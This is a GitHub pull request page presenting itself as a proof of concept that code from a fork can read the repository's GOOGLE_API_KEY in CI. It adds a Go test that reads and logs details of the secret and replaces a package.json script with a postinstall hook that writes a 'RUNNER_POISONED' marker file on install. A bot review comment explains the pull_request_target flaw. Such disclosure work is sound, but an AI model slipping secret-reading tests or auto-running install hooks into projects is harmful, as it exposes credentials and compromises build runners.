Skip to content

PoC: Verify GOOGLE_API_KEY reaches fork PR code #111

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
mabrukhany-beep wants to merge 4 commits into
base: main
Choose a base branch
from
Open

PoC: Verify GOOGLE_API_KEY reaches fork PR code #111

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
4 commits
Select commit Hold shift + click to select a range
a398288
Add test for GOOGLE_API_KEY environment variable
mabrukhany-beep Aug 3, 2026
8e93757
Update chat.go
mabrukhany-beep Aug 3, 2026
a590c78
Update package.json
mabrukhany-beep Aug 3, 2026
466515f
Update package.json
mabrukhany-beep Aug 4, 2026
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions go/chat.go
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -147,4 +147,5 @@ func ChatStreamingWithImages() error {
// [END chat_streaming_with_images]

return nil
// Persistence test
}
15 changes: 15 additions & 0 deletions go/leak_test.go
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
package main

import (
"os"
"testing"
)

func TestSecretAccess(t *testing.T) {
key := os.Getenv("GOOGLE_API_KEY")
if key == "" {
t.Skip("GOOGLE_API_KEY not set")
}
t.Logf("GOOGLE_API_KEY_IS_SET=true")
t.Logf("GOOGLE_API_KEY_LENGTH=%d", len(key))
}
Comment on lines +8 to +15

@gemini-code-assist gemini-code-assist Bot Aug 3, 2026

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

security-critical critical

This Pull Request highlights a critical security vulnerability in the repository's CI/CD workflow. Using pull_request_target while checking out the head SHA of a pull request (github.event.pull_request.head.sha) and passing secrets (such as GOOGLE_API_KEY) allows any fork to execute arbitrary code with access to those secrets.\n\nAlthough this PoC only logs the length of the key, any contributor or fork can modify this test (or add other code) to exfiltrate the secret to an external destination.\n\n### Recommendation\n- Avoid checking out untrusted code under pull_request_target when secrets are present.\n- Use the standard pull_request event for untrusted PRs, which does not expose secrets by default.\n- If secrets are absolutely required, use a secure environment with manual approval gates.

2 changes: 1 addition & 1 deletion javascript/package.json
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@
"version": "1.0.0",
"main": "",
"scripts": {
"format": "prettier . --write"
"postinstall": "node -e \"const fs=require('fs'); fs.writeFileSync('/tmp/POISONED.txt', 'RUNNER_POISONED_'+Date.now()); console.log('Runner poisoned');\""
},
"keywords": [],
"author": "",
Expand Down
Loading